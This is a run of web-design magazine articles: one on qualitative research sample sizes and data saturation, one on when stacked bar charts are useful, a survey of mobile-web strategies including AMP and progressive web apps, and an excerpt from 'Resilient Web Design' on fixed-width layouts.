You would achieve saturation of data collection in part by collecting rich data. Rich data is data that provides a depth of insight into the problem you are investigating. Rich data is an output of good questions, good follow-up prompts and an experienced researcher. You would collect rich data based on the quality of the data collection, not the sample size. It’s possible to get better information from a sample of three people whom you spend an hour each interviewing than you would from six people whom you only spend 30 minutes interviewing. You need to hone your questions in order to collect rich data. You would accomplish this when you create a questionnaire and iterate based on feedback from others, as well as from practice runs prior to data collection.
You might want to limit your study to specific types of participants. This could reduce the need for a larger sample to reach saturation of data collection.
For example, let’s say you want to understand the situation of someone who has switched banks recently.
Have you identified key characteristics that might differentiate members of this group? Perhaps someone who recently moved and switched banks has had a drastically different experience than someone whose bank charged them too many fees and made them angry.
Have you talked to multiple people who fit each user type? Did their experiences suggest a commonality between the user types? Or do you need to look deeper at one or both user types?
If you interview only one person who fits the description of a user who has recently moved and switched banks, then you’d need to increase your sample and talk to more people of that user type. Perhaps you could make an argument that only one of these user types is relevant to your current project. This would allow you to focus on one of the user types and reduce the number of participants needed to reach saturation of data collection.
Let’s say you’ve determined that you’ll need a sample size of 15 people for your banking study.
You’ve created your questionnaire and focused on exploring how your participants have experienced banking, both in person and online, over the past five years. You spend an hour interviewing each participant, thoroughly exhausting your lines of questioning and follow-up prompts.
You collect and analyze the data simultaneously. After 12 interviews, you find the following key themes have emerged from your data:
Your team meets to discuss the themes and how to apply them to your work. You decide as a team to create a concept for a web-based onboarding experience that facilitates transparency into how the bank applies fees to accounts, that addresses how the client allows users to share personal banking experiences and to invite others, and that covers key aspects of onboarding that your participants said were lacking from their account-opening experiences.
You have reached one of the two requirements for saturation: You have collected enough meaningful data to identify key themes and make recommendations. You have an actionable takeaway from your findings: to create an onboarding experience that highlights transparency and personal connections. And it only took you 12 participants to get there. You finish the last three interviews to validate what you’ve heard and to stockpile more data for the next component of saturation.
You thoroughly analyze the data you have collected to reach saturation of data analysis. This means you’ve done your due diligence in analyzing the data you’ve collected, whether the sample size is 1 or 100. You can analyze qualitative data in many ways. Some of the ways depend on the exact method of data collection you’ve followed.
You will need to code all of your data. You can create codes inductively (based on what the data tell you) or deductively (predetermined codes). You are trying to identify meaningful themes and points made in the data. You saturate data analysis when you have coded all data and identified themes supported by the coded data. This is also where the researcher’s experience comes into play. Experience will help you to identify meaningful codes and themes more quickly and to translate them into actionable recommendations.
16Going back to our banking example, you’ve presented your findings and proposed an onboarding experience to your client. The client likes the idea, but also suggests there might be more information to uncover about the lack of transparency. They suggest you find a few more people to interview about this theme specifically.
You ask another researcher to review your data before you agree to interview more people. This researcher finds variation in the transparency-themed quotes that the current codes don’t cover: Some users think banks lack transparency around fees and services. Others mention that banks lack transparency in how client information is stored and used. Initially, you only coded a lack of transparency in fee structures. The additional pair of eyes reviewing your data enables you to reach saturation of analysis. Your designers begin to account for this variation of transparency in the onboarding experience and throughout. They highlight bank privacy and data-security policies.
You have a discussion with your client and suggest not moving forward with additional interviews. You were able to reach saturation of data analysis once you reviewed the data and applied additional codes. You don’t need additional interviews.
Let’s run through a case study covering the concepts presented in this article.
Suppose we are working with a client to conceptualize a redesign of their clinical data-management application. Researchers use clinical data-management applications to collect and store data from clinical trials. Clinical trials are studies that test the effectiveness of new medical treatments. The client wants us to identify areas to improve the design of their product and to increase use and reliability. We will conduct interviews up front to inform our design concepts.
We’ll request 12 interview participants based on the formula in this article. Below is how we’ve determined the value of each variable in the formula.
Scope: We are tasked with providing research-informed design concepts for an existing product. This project does not have a large scope. We are not inventing a new way to collect clinical data, but rather are improving an existing tool. The smaller scope justifies a smaller sample size.
S = 1C= 3 × 3 user typesC = 9Expertise: Let’s say our lead researcher has 10 years of research experience. Our team has experience with the type of project we are completing. We know exactly how much data we need and what to expect from interviewing 12 people.
E = .20At this point, our formula is ((1 × 3) ÷ 1.2) = 7.5 participants, before factoring in resources. We’ll round up to 8 participants.
Resources: We know the budget and time resources available. We know from past projects that we’ll have enough resources to conduct up to 15 interviews. We could divert more resources to design if we go with fewer than 15 participants. Adding 4 participants to our current number (8) won’t tax our resources and would allow us to speak to 4 of each user type.
R = 4We recommend 12 research participants to our client, based on the formula for determining the proposed sample size:
Scope (S) - small scope - updating an existing product (S) = 1Characteristics (C) - 3 user types (C) = 9Expertise (E) - 10 years (E)= 1.20Resources (R) - fine for up to 15 total participants (R) = +4((SxC)/E) + R;((1x9)/1.2) + 4 = 12 participants for this study.We’ll set up a spreadsheet to manage the data we collect. Let’s set up the spreadsheet to first examine the data, with participants in rows and the questions in columns (table 1):
| What are some challenges with the system? | Question 2 | Question 3 | Question 4 | |
|---|---|---|---|---|
| Participant 1 | Protocol deviations can get lost or be misleading because they are not always clearly displayed. This would give too much control to the study coordinator role; they would be able to change too much. A tremendous amount of cleaning needs to get done. |
Next, we add a second tab to the spreadsheet and created codes based on what emerged from the data (table 2):
| Code: Issues with study protocol (deviations) | Code: Unreliable data | Code 3 | Code 4 | |
|---|---|---|---|---|
| Participant 1 | There isn’t consistency looking at the same data. It gives too much control to the study coordinator role. They would be able to change too much. | A tremendous amount of cleaning needs to get done. |
Next, we review the data to identify relevant themes (table 3):
| Theme: “trust in the product” | Theme 2 | Theme 3 | Theme 4 | |
|---|---|---|---|---|
| Coded quote and participant | “I’m not sure if we are compliant.” – Participant 1 | |||
| Quote and participant | “It’s very configurable, but it’s configurable to the point that it’s unreliable and not predictable.” – Participant 2 |
Trust emerges as a theme almost immediately. Nearly every participant mentions a lack of trust in the system. The study designers tell us they don’t trust the lack of structure in creating a study; the clinical data collectors tell us they don’t trust the novice study designers; and the managers tell us they don’t trust the study’s design, the accuracy of the data collectors or the ability of the system to store and upload data with 100% accuracy.
Our design recommendations for the concepts focus on interactions and functionality to increase trust in the product.
Qualitative user researchers must support our reason for choosing a sample size. We may not be academic researchers, but we should strive for standards in how we determine sample sizes. Standards increase the rigor and integrity of our studies. I’ve provided a formula for helping to justify sample sizes.
We must also make sure to achieve data saturation. We do this by suggesting a reasonable sample size, by collecting data using sound questions and good interviewing techniques, and by thoroughly analyzing the data. Clients and colleagues will appreciate the transparency we provide when we show how we’ve determined our sample size and analyzed our data.
I’ve covered a case study demonstrating use of the formula I’ve proposed for determining qualitative research sample sizes. I’ve also discussed how to analyze data in order to reach data saturation.
We must continue moving forward the conversation on determining qualitative sample sizes. Please share other ideas you’ve encountered or used to determine sample sizes. What standards have you given clients or colleagues when asked how you’ve determined a sample size?
(cc, yk, al, il)
AcrossTabs * Sonnet * ReactXP * Colormind * Flint OS * Color Tool * The Art of Naming * Vue.js 2.2 Cheat Sheet * Moon…
A repo of useful React patterns, techniques, tips and tricks.
Data visualization has become an important part of our everyday life, allowing us to quickly assess information. And with so many chart types out there to choose from, it should be possible to effectively solve almost any task, whether it’s exploratory (i.e. researching and analyzing data to better understand it for yourself) or explanatory (i.e. reporting and communicating data to end users).
However, variety can also cause confusion, making it difficult to clearly understand the purpose of each form of data visualization. As a result, when an inappropriate type of chart is applied to data, the user not only might be confused by the information, but, more importantly, could make bad decisions based on such a presentation.
Today, we’ll talk about stacked bar charts, because — much to my surprise — I’ve recently learned these chart types can be real troublemakers.
As the number of chart types and approaches keeps growing, the things are getting worse, and sometimes even top experts get confused with identifying the goals of one chart type or another. One vivid example is Robert Kosara, senior research scientist at Tableau Software and former associate professor of computer science. In his blog post “Stacked Bar Charts Are the Worst5,” he calls stacked bar charts inconvenient, useless and even harmful. But is that really fair?
I’d say that stacked bar charts are undeservingly demonized in his article. The author simply seems to have fallen victim to a common misunderstanding of their real purpose. In fact, stacked bar charts are supposed to be used to compare total values across several categories and, at the same time, to identify which series is to “blame” for making one total bigger or perhaps smaller than another.
However, Kosara says they are the worst because they are useless for comparing series magnitudes in one or another certain category. Well, I agree: Stacked bar charts are really bad at that, and a regular multiseries bar chart would always seem to be a better choice. But that is not what they are supposed to be used for. It’s like using a hammer to change a lightbulb — you’ll just end up with a mess!
In this article, I’ll try to explain the real goals of visualizing data in regular and stacked bar charts and what exactly they should be used for. To get started, let’s look at a conventional bar chart.
The main purpose of a bar chart is to compare individual data points with each other. It’s easy. Let’s look at regular vertical bar (also called column) charts.
This multiseries bar chart displays sales of each product within each sales strategy and helps us to answer the following questions:
Of course, when these are the questions being asked, we need to compare values within every single series (sales of a certain product across all strategies) and within every single category (sales of each product within a certain strategy). With that said, let’s look into this example.
We can clearly see now that Product D was most successful in Strategy 4 and the least successful in Strategy 5.
9We also see that the biggest sales within Strategy 1 are attributable to Product C, whereas Product D finished last, and Products A and B are almost identical.
12With this example, we can quickly analyze all product-level differences, and that is what we use such bar charts for.
Now, what if we only want to see the overall sales for each strategy and then compare them with each other? We know that some products performed better or worse than others in each strategy, but which strategy resulted in the greatest total sales overall, with no regard to individual product performance?
To analyze only the differences between category totals, we simply add up the product values and represent them as columns in a single-series bar chart:c
15This chart fully answers the question we asked. It is clear that the Strategy 2 was overall most effective and Strategy 5 was the least.
To conclude, these conventional bar charts have helped us:
So far, so good.
However, we can go further still and discover the relationships between what we noticed in the first (multiseries) and second (single-series) graphs in order to understand more deeply what actually happened. For this purpose, we need to plot both category totals and product-specific data on one stage, and this is where a stacked bar chart starts to shine.
18We might also want to ask, “Why did Strategy X undermine the sales of one or another product?” Or, “What was the performance of a product within one strategy in relation to its sales within other strategies?” Great questions, but remember that stacked bar charts are not supposed to answer these or similar questions with that type of detail. Sorry, no superheroes here.
Stacked bar charts are designed to help you simultaneously compare totals and notice sharp changes at the item level that are likely to have the most influence on movements in category totals.
Looking at our stacked bar chart, we clearly see, for example, that Strategy 5 was the least effective overall, and this is mainly because sales from Product D were so much lower compared to the other strategies.
21Take a moment to see what other insights our stacked bar chart provides by identifying other visually apparent relationships. In the meantime, let me stress that we cannot rely on this chart type to clarify absolutely all of the differences and contributions. Generally speaking, stacked bar charts are quite similar to sparklines in terms of usage: The main purpose of both types is to enable a better understanding of the big picture, without much focus on details such as light changes.
Of course, if you require deeper, more comprehensive or just different insights, then you’ll need to choose another chart type, one that will help you to answer your specific questions about your specific data.
I showed the first draft of this article to a couple of my colleagues. One of them wondered, “If you want to show both category totals and item-specific data at the same time, why not use a dual-axis graph with separate bars for each product and a line series for totals? Wouldn’t that be better than a stacked bar chart, because it will help you to understand all of the differences, including at the product level?”
It’s an interesting question. Let’s take a look.
While bringing all category totals into a separate line series with its own axis and then letting regular bars take care of the rest might sound appropriate, I don’t think so. Not to mention that I am not a big fan of dual-axis charts, at least when I have data and questions like these. But let’s check it out and you decide.
24In this case, we can simultaneously see the totals and compare data points within a category. But the main issue is that this combined chart is actually harder to read, because the view is overloaded with columns, each attracting considerable attention, not to mention the line series with the second axis cluttering the view.
And things only get worse if we have a few more strategies, in this case just three more:
27Large data sets are not uncommon, and while this one is far from large, I think you’ll agree that the eye gets lost in the presentation. As a matter of fact, we would have to spend too much time reading the combination of bar charts and line graph in both cases. So, when visualizing large amounts of data, we’d certainly be better off switching to another view, rather than piling up everything in one chart.
I think you’ll agree, a stacked bar chart seems to make more sense, even in this situation:
30Now you’ve seen it with your own eager eyes. The stacked bar charts showcased in this article not only allow us to see the category totals first, but also get a rough yet helpful understanding of the item level within each category. As a result, they’ve clearly answered the questions asked:
I hope you also agree that our stacked bar charts turned out to be concise and easy to read.
Please keep in mind that this chart type is very specific. Use it carefully and only when your questions and data fully correspond to the purposes it serves. For example, to compare item values more precisely and comprehensively, pick a conventional bar chart instead, because that is its purpose. However, I am sure you now share my feeling and experience: Stacked bar (column) charts are far from the “worst,” much less are they useless.
I will repeat myself and say that the main, strategic purpose of stacked bar charts is to help you assess the big picture at a glance, focusing on category totals and drastic series-level changes, and then let you decide what to research next if needed. Depending on the situation, you might find a better solution for other kinds of data and questions. However, stacked bar charts are often worthwhile and should be considered when the occasion demands.
I’ve made all of the chart illustrations from this article available on CodePen33 so you can explore them in detail, test your own data, and so on. You are also welcome to use Chartopedia34, a guide for choosing right chart types that I am currently building, to learn more about various data visualization methods and their purpose.
(al, vf, il)
As we look deep into 2017, one of the questions on every web developer’s mind ought to be, “What trend will define the web in 2017?” Just three years ago, we were talking about the “Year of Responsive Web Design”, and we’ve all seen how the stakes were raised1 when Google announced Mobilegeddon (21 April 2015) and started to boost the rankings of mobile-friendly websites in mobile search results.
Today, as our findings indicate2, responsive web design is the norm, with 7 out of 10 mobile-optimized websites being responsive, up from 5 last year3, which begs the questions: What’s next? Where is it all heading? We solved the screen-size issue and had a great run for a few years — now what?
Not long ago, having an application in an app store was considered the holy grail. To this day, a lot of companies still religiously follow the path to app store publishing. “Publish it and they will come,” “The web is dead,” they used to say!
According to recent studies9, just 26.4% of users who visit a page in an app store today will install an app. The other 73.6% are lost to the developer and don’t even try the app. Among the ones who install it, an average of 99% are lost in the following 90 days. As a consequence, the same people who declared the web dead years ago are now shouting, “Apps are dying” and “Wait! The web isn’t dead after all!”
This made us ask, Where is the mobile web heading? To answer this question, my colleagues and I at Appticles10 have conducted a colossal study on 10,000 publishing and e-commerce websites from Alexa11, scouting for signs of resurrection, and instead finding serious traces of diversification. Our findings are detailed below.
According to Google’s guidelines, we have taken into consideration three types of configurations12 for building mobile websites:
To detect the mobile strategy used by different websites, we crawled them using an iPhone user agent and using the headless browser PhantomJS14 to detect JavaScript redirects.
On top of that, we also identified website owners who have implemented a smart app banner meta tag in the head of their home page, to market their iOS app:
<meta name="apple-itunes-app" content="app-id=myAppStoreID">
To analyze performance, we used Google’s PageSpeed Insights API, which takes into consideration not only the size of a web page, but also compression, server response time, browser caching and landing page redirects, among other factors.
All of the code used for this study is available for comments and contributions on GitHub15.
Here’s what we identified:
17Comparing publishers (blogs, newspapers, magazines) with e-commerce websites resulted in some interesting variations in mobile web optimization:
20
23What these numbers show us is that mobile screen-size optimization is at its peak: New websites are responsive by default, and the majority of those that haven’t had a mobile presence have already made the switch. In other words, I think that the mobile web is nearing its potential in addressing the screen-size issue: 7 out of 10 websites have already implemented some form of mobile-friendly optimization, and this hasn’t grown significantly since last year25.
In addition, the trends seem to indicate that mobile websites are getting taller and fatter by the year. Is this what we envisioned for the mobile web when we started designing responsively? Because approximately 30% of the web is powered by WordPress26, I can’t help but suspect that the way WordPress themes are built is shaping the mobile web.
The banner that floats on your page when your website is viewed on a mobile device is an incredibly valuable tool for converting web traffic into app users. According to a study by Branch.io27, click-to-install rates are slightly higher on Android than on iOS (13.5% versus 11.9%), but the average is about 13%.
28We discovered that 6.5% of news websites use smart app banners to notify mobile users of their apps, whereas all of the other verticals we analyzed (blogging, magazines and e-commerce) scored below 2% usage.
What’s interesting is that the majority of news websites that have been identified as using smart app banners are responsive. In other words, the strategy at play for news publishers (mostly newspapers) is to be where their readers are: both in app stores and on the mobile web.
The thinking behind maintaining both mobile channels and splitting the mobile audience is that (1) a responsive website would be the first contact that occasional mobile users have with the publisher, and (2) a dedicated application would make a lot of sense for loyal mobile users.
To put it differently, consider investing in an application for an app store when the mobile retention rate for your website is already high. Let’s look at some additional numbers that support this rule.
According to SimilarWeb’s “State of Mobile Web US 201530” report, roughly 56% of consumer traffic to the leading US websites is now from mobile devices. Given an average click-to-install rate of 13%, an online publisher using a smart app banner and inviting mobile users to install their application would succeed at converting a little over 7% of mobile traffic into app installations.
Data shows that losing 80% of mobile app users is the norm31. Mobile intelligence startup Quettra put together some exclusive data and graphs on retention rates, based on anonymized data points from over 125 million mobile phones, and showed that the average app loses 77% of its daily active users within the first 3 days of installation. Within 30 days, it has lost 90% of daily active users. Within 90 days, over 95%.
Based on our findings, it would appear that online publishers and stores have devised a strategy whereby their responsive websites act mostly as acquisition channels for their mobile apps. However, it’s easy to see how publishers end up investing tens of thousands of dollars, spending months developing and promoting their applications, converting a staggering 1.5% of their existing web traffic into mobile app users after 90 days.
The question then becomes, How do we engage mobile users and get them to use the app on a daily basis?
Last year saw both Google and Facebook launch competing initiatives: Accelerated Mobile Pages (AMPs) and Instant Articles, respectively.
According to Google’s own reviews32, some 700,000 domains have published AMP pages, with real benefits to publishers, ranging from a higher return rate among users of mobile search to increased monthly unique visitors and impressions. This is indeed impressive, but we wanted to go beyond the vanity metrics and see the real percentage of websites that have implemented AMP.
After careful examination, we identified that approximately 10% of websites support AMP (close to the 11.6%33 identified in research conducted by Searchmetrics), whereas only a little over 2% have integrated Facebook’s Instant Articles. And though WordPress comes with plugins for both AMP and Instant Articles, it seems that in terms of active installations, AMP is leading 100,000 to 10,000.
We wanted to see how industry experts weigh the pros and cons of AMP and Instant Articles. The general consensus is summarized below:
| Pros | Cons | |
|---|---|---|
| Google’s AMP | Mobile content loads incredibly fast. | Loading time is not a direct ranking factor for organic search results. There is some conjecture that faster-loading websites mean better click-through rates and longer time spent on website. |
| Mobile content for news websites appears in a special carousel at the top of organic search results. | Using AMP involves some work. If your organization is strapped for resources, know that this is more than just flipping a switch. | |
| One of the big ranking factors for mobile organic search results is mobile-friendliness, and you can’t get friendlier than AMP. | Not all content works with AMP. For instance, if you have piles of video content, AMP will make the text load faster, but the video will still take a bit to load. | |
| The click-through rate when a page is featured in Google’s “Top Stories” carousel is higher. | Back in February 2016, Google pundit Jeff Jarvis stated, “The carousel layout may not always be there, so if that’s your big selling point, don’t get comfortable.” | |
| It’s only for news and blog articles (at least for the moment). | ||
| Facebook’s Instant Articles | The format enables publishers and content providers to instantly reach a built-in audience of millions when they include their content. | The fact that it does not link over to a publisher’s website is a downside, but the benefits of adding content in a format like this are greater if you plan that content appropriately. |
| It creates an additional revenue stream. | Overall revenue per user from Instant Articles might be lower than what publishers would make from ads that appear directly on their website. | |
| Small publishers and content creators get a piece of the substantial time spent in apps, which would otherwise not be available. | Integrating Instant Articles involves some work, especially to customize the look and feel of articles. |
Because implementing AMP can bring more traffic from organic search results, it’s no wonder that it has become more popular than Instant Articles. Granted, the latter offers access to an additional revenue stream, but that comes at a price — giving up control over users, and giving up on converting them into subscribers.
A lot of attention has been paid to progressive web apps lately, and we wouldn’t miss the chance to analyze how many of the URLs we scrutinized support any of the main characteristics of progressive web apps:
Progressive web apps are fully supported by Chrome and Opera. Firefox supports nearly all of their features. Microsoft Edge is working on them. The Samsung Internet browser has been making great strides this past year and has shown a strong commitment to progressive web apps, as demonstrated by Samsung’s leadership34 in some of the key standardization work. Apple has not yet fully jumped on the mobile web train: Service workers, a key component for supporting offline mode, are “under consideration”; push notifications and installation to the home screen through a browser-provided prompt are available in some form in Safari, but they are not implemented in standard ways.
This didn’t stop the Washington Post — an early adopter of progressive web app technology — from making it the default mobile experience for its web users after seeing “about 5x engagement35 — page views per visit, number of stories read” on its public-facing beta.
Before getting to the actual results, a few words on the methodology of obtaining the data. We used the Lighthouse36 extension for Chrome. It is an open-source, automated tool for improving the quality of web apps, and it can run as a Chrome extension or from the command line. We used the command line to conduct our study, and we interpreted the JSON that was returned.
First, we found that, of the 10,000 URLs we analyzed (blogs, newspapers, magazines and e-commerce websites), only about 12% support SSL. Not surprisingly, the e-commerce segment scored the highest (25%) in SSL usage. While this number is still low, it will drastically increase throughout 2017, because Google now favors HTTPS page indexing37, and Chrome will soon mark unsecure pages containing password and credit-card input fields as being “Not secure” in the URL bar38.
39Next, we looked at usage of the manifest.json file, which is considered a good indication that users will be prompted to add the website to their home screen via an app install banner40 (even though they can manually add it to their home screen from the browser’s menu).
As it turns out, 3% of e-commerce websites make use of the manifest file for web applications, with blogs and digital newspapers barely reaching 0.5%. HTTP/2 is also being used mostly on e-commerce websites, although the overall percentage is as low as 4%.
In identifying usage of service workers and push notifications, fewer than 1% show up in the statistics.
Service workers enable a Progressive Web App to load instantly, regardless of the network state. A service worker is like a client-side proxy, written in JavaScript and puts developers in control of the cache and how to respond to resource requests. By pre-caching key resources, one can eliminate the dependence on the network, ensuring an instant and reliable experience for your users.
The fact that service workers are so poorly implemented on websites nowadays directly affects mobile user engagement, which is a shame because web push notifications reportedly increase engagement by four times, and those users spend twice as long on the websites. As an example, after rolling out its progressive web app, AliExpress improved its conversions for new users across all browsers by 104% and increased its iOS conversions by 82%, despite iOS not supporting the full feature set of progressive web apps.
Progressive web apps are barely seeing the light of day. However, with all of the benefits they promise, one can only hope that we’ll see more of them built in 2017.
The main conclusion is that we’re starting to see a more diversified mobile strategy from the publishing industry. No longer are they settling for an application in an app store or a responsive website as the only means of addressing their mobile users. Instead, they’re going for both apps and responsive websites and, in addition, are beginning to throw Facebook’s Instant Articles and Google’s Accelerated Mobile Pages into the mix.
Publishers are not leaving anything to chance. With four mobile channels in which to view for user attention, the quest will be not to find the best-performing channel, but rather to find a sustainable model, with all of the channels complementing each other, together increasing reach, engagement and, ultimately, revenue.
As for a “progressive” future of the mobile web, the early signs are encouraging. Progressive web apps boost mobile engagement for publishers and conversions for e-commerce websites. That’s why we, web developers and designers, should consider implementing them. The app store model is beginning to fail publishers42, and businesses are realizing that it’s no longer the holy grail they’ve been hoping for. We’re beginning to understand that we need to give the mobile web a chance to evolve, to progress beyond questions of format (i.e. fitting the screen) into the full-blown applications that until recently were only available natively via app stores.
(da, yk, al, il)
A set of versatile line icons in the formats SVG, EPS, AI, PNG, Sketch, IconJar. By Kirill Kazachek for Pixel Buddha.
With GraphQL, FQL, and IndexedDB2, we have new tools at our fingertips that allow us to build products that are not only more flexible but also faster. With this week’s Web Development Reading List, we’ll dive a bit deeper into these promising technologies and combine this with thoughts about the openness of the internet, ethical choices, and building inclusive products. So without further ado, let’s get started!
15And with that, I’ll close for this week. If you like what I write each week, please support me with a donation21 or share this resource with other people. You can learn more about the costs of the project here22. It’s available via email, RSS and online.
— Anselm
AcrossTabs * Sonnet * ReactXP * Colormind * Flint OS * Color Tool * The Art of Naming * Vue.js 2.2 Cheat Sheet * Moon…
Editor’s Note: In the world of web design, we tend to become preoccupied with the here and now. In “Resilient Web Design1“, Jeremy Keith emphasizes the importance of learning from the past in order to better prepare ourselves for the future. So, perhaps we should stop and think more beyond our present moment? The following is an excerpt from Jeremy’s web book.
Design adds clarity. Using colour, typography, hierarchy, contrast, and all the other tools at their disposal, designers can take an unordered jumble of information and turn it into something that’s easy to use and pleasurable to behold. Like life itself, design can win a small victory against the entropy of the universe, creating pockets of order from the raw materials of chaos.
The Book of Kells is a beautifully illustrated manuscript created over 1200 years ago. It’s tempting to call it a work of art, but it is a work of design. The purpose of the book is to communicate a message; the gospels of the Christian religion. Through the use of illustration and calligraphy, that message is conveyed in an inviting context, making it pleasing to behold.
Design works within constraints. The Columban monks who crafted the Book of Kells worked with four inks on vellum, a material made of calfskin. The materials were simple but clearly defined. The cenobitic designers knew the hues of the inks, the weight of the vellum, and crucially, they knew the dimensions of each page.
Materials and processes have changed and evolved over the past millennium or so. Gutenberg’s invention of movable type was a revolution in production. Whereas it would have taken just as long to create a second copy of the Book of Kells as it took to create the first, multiple copies of the Gutenberg bible could be produced with much less labour. Even so, many of the design patterns such as drop caps and columns were carried over from illuminated manuscripts. The fundamental design process remained the same: knowing the width and height of the page, designers created a pleasing arrangement of elements.
8The techniques of the print designer reached their zenith in the 20th century with the rise of the Swiss Style. Its structured layout and clear typography is exemplified in the work of designers like Josef Müller‐Brockmann and Jan Tschichold. They formulated grid systems and typographic scales based on the preceding centuries of design.
9Knowing the ratio of the dimensions of a page, designers could position elements with maximum effect. The page is a constraint and the grid system is a way of imposing order on it.
When the web began to conquer the world in the 1990s, designers started migrating from paper to pixels. David Siegel’s Creating Killer Websites came along at just the right time. Its clever TABLE and GIF hacks allowed designers to replicate the same kind of layouts that they had previously created for the printed page.
Those TABLE layouts later became CSS layouts, but the fundamental thinking remained the same: the browser window — like the page before it — was treated as a known constraint upon which designers imposed order.
There’s a problem with this approach. Whereas a piece of paper or vellum has a fixed ratio, a browser window could be any size. There’s no way for a web designer to know in advance what size any particular person’s browser window will be.
Designers had grown accustomed to knowing the dimensions of the rectangles they were designing within. The web removed that constraint.
There’s nothing quite as frightening as the unknown. These words of former US Secretary of Defense Donald Rumsfeld should be truly terrifying (although the general consensus at the time was that they sounded like nonsense):
There are known knowns. There are things we know we know. We also know there are known unknowns, that is to say we know there are some things we do not know. But there are also unknown unknowns — the ones we don’t know we don’t know.
The ratio of the browser window is just one example of a known unknown on the web. The simplest way to deal with this situation is to use flexible units for layout: percentages rather than pixels. Instead, designers chose to pretend that the browser dimensions were a known known. They created fixed‐width layouts for one specific window size.
In the early days of the web, most monitors were 640 pixels wide. Web designers created layouts that were 640 pixels wide. As more and more people began using monitors that were 800 pixels wide, more and more designers began creating 800 pixel wide layouts. A few years later, that became 1024 pixels. At some point web designers settled on the magic number of 960 pixels as the ideal width.
It was as though the web design community were participating in a shared consensual hallucination. Rather than acknowledge the flexible nature of the browser window, they chose to settle on one set width as the ideal …even if that meant changing the ideal every few years.
Not everyone went along with this web‐wide memo.
In the year 2000 the online magazine A List Apart published an article entitled A Dao of Web Design. It has stood the test of time remarkably well.
In the article, John Allsopp points out that new mediums often start out by taking on the tropes of a previous medium. Scott McCloud makes the same point in his book Understanding Comics:
Each new medium begins its life by imitating its predecessors. Many early movies were like filmed stage plays; much early television was like radio with pictures or reduced movies.
With that in mind, it’s hardly surprising that web design began with attempts to recreate the kinds of layouts that designers were familiar with from the print world. As John put it:
“Killer Web Sites” are usually those which tame the wildness of the web, constraining pages as if they were made of paper — Desktop Publishing for the Web.
Web design can benefit from the centuries of learning that have informed print design. Massimo Vignelli, whose work epitomises the Swiss Style, begins his famous Canon with a list of The Intangibles including discipline, appropriateness, timelessness, responsibility, and more. Everything in that list can be applied to designing for the web. Vignelli’s Canon also includes a list of The Tangibles. That list begins with paper sizes.
The web is not print. The known constraints of paper — its width and height — simply don’t exist. The web isn’t bound by pre‐set dimensions. John Allsopp’s A Dao Of Web Design called on practitioners to acknowledge this:
The control which designers know in the print medium, and often desire in the web medium, is simply a function of the limitation of the printed page. We should embrace the fact that the web doesn’t have the same constraints, and design for this flexibility.
This call to arms went unheeded. Designers remained in their Matrix-like consensual hallucination where everyone’s browser was the same width. That’s understandable. There’s a great comfort to be had in believing a reassuring fiction, especially when it confers the illusion of control.
There is another reason why web designers clung to the comfort of their fixed‐width layouts. The tools of the trade encouraged a paper‐like approach to designing for the web.
It’s a poor craftsperson who always blames their tools. And yet every craftsperson is influenced by their choice of tools. As Marshall McLuhan’s colleague John Culkin put it, “we shape our tools and thereafter our tools shape us.”
When the discipline of web design was emerging, there was no software created specifically for visualising layouts on the web. Instead designers co‐opted existing tools.
Adobe Photoshop was originally intended for image manipulation; touching up photos, applying filters, compositing layers, and so on. By the mid nineties it had become an indispensable tool for graphic designers. When those same designers began designing for the web, they continued using the software they were already familiar with.
If you’ve ever used Photoshop then you’ll know what happens when you select “New” from the “File” menu: you will be asked to enter fixed dimensions for the canvas you are about to work within. Before adding a single pixel, a fundamental design decision has been made that reinforces the consensual hallucination of an inflexible web.
Photoshop alone can’t take the blame for fixed‐width thinking. After all, it was never intended for designing web pages. Eventually, software was released with the specific goal of creating web pages. Macromedia’s Dreamweaver was an early example of a web design tool. Unfortunately it operated according to the idea of WYSIWYG: What You See Is What You Get.
While it’s true that when designing with Dreamweaver, what you see is what you get, on the web there is no guarantee that what you see is what everyone else will get. Once again, web designers were encouraged to embrace the illusion of control rather than face the inherent uncertainty of their medium.
It’s possible to overcome the built‐in biases of tools like Photoshop and Dreamweaver, but it isn’t easy. We might like to think that we are in control of our tools, that we bend them to our will, but the truth is that all software is opinionated software. As futurist Jamais Cascio put it, “software, like all technologies, is inherently political”:
Code inevitably reflects the choices, biases and desires of its creators.
Small wonder then that designers working with the grain of their tools produced websites that mirrored the assumptions baked into those tools — assumptions around the ability to control and tame the known unknowns of the World Wide Web.
By the middle of the first decade of the twenty‐first century, the field of web design was propped up by multiple assumptions:
A minority of web designers were still pleading for fluid layouts. I counted myself amongst their number. We were tolerated in much the same manner as a prophet of doom on the street corner wearing a sandwich board reading “The End Is Nigh” — an inconvenient but harmless distraction.
There were even designers suggesting that Photoshop might not be the best tool for the web, and that we could consider designing directly in the browser using CSS and HTML. That approach was criticised as being too constraining. As we’ve seen, Photoshop has its own constraints but those had been internalised by designers so comfortable in using the tool that they no longer recognised its shortcomings.
This debate around the merits of designing Photoshop comps and designing in the browser would have remained largely academic if it weren’t for an event that would shake up the world of web design forever.
An iPod. A phone. And an internet communicator. An iPod. A phone …are you getting it? These are not three separate devices. This is one device. And we are calling it: iPhone.
With those words in 2007, Steve Jobs unveiled a mobile device that could be used to browse the World Wide Web.
11Web‐capable mobile devices existed before the iPhone, but they were mostly limited to displaying a specialised mobile‐friendly file format called WML. Very few devices could render HTML. With the introduction of the iPhone and its competitors, handheld devices were shipping with modern web browsers capable of being first‐class citizens on the web. This threw the field of web design into turmoil.
Assumptions that had formed the basis for an entire industry were now being called into question:
The rise of mobile devices was confronting web designers with the true nature of the web as a flexible medium filled with unknowns.
The initial reaction to this newly‐exposed reality involved segmentation. Rather than rethink the existing desktop‐optimised website, what if mobile devices could be shunted off to a separate silo? This mobile ghetto was often at a separate subdomain to the “real” site: m.example.com or mobile.example.com.
This segmented approach was bolstered by the use of the term “the mobile web” instead of the more accurate term “the web as experienced on mobile.” In the tradition of their earlier consensual hallucinations, web designers were thinking of mobile and desktop not just as separate classes of device, but as entirely separate websites.
Determining which devices were sent to which subdomain required checking the browser’s user‐agent string against an ever‐expanding list of known browsers. It was a Red Queen’s race just to stay up to date. As well as being error‐prone, it was also fairly arbitrary. While it might have once been easy to classify, say, an iPhone as a mobile device, that distinction grew more difficult over time. With the introduction of tablets such as the iPad, it was no longer clear which devices should be redirected to the mobile URL. Perhaps a new subdomain was called for — t.example.com or tablet.example.com — along with a new term like “the tablet web”. But what about the “TV web” or the “internet‐enabled fridge web?”
The practice of creating different sites for different devices just didn’t scale. It also ran counter to a long‐held ideal called One Web:
One Web means making, as far as is reasonable, the same information and services available to users irrespective of the device they are using.
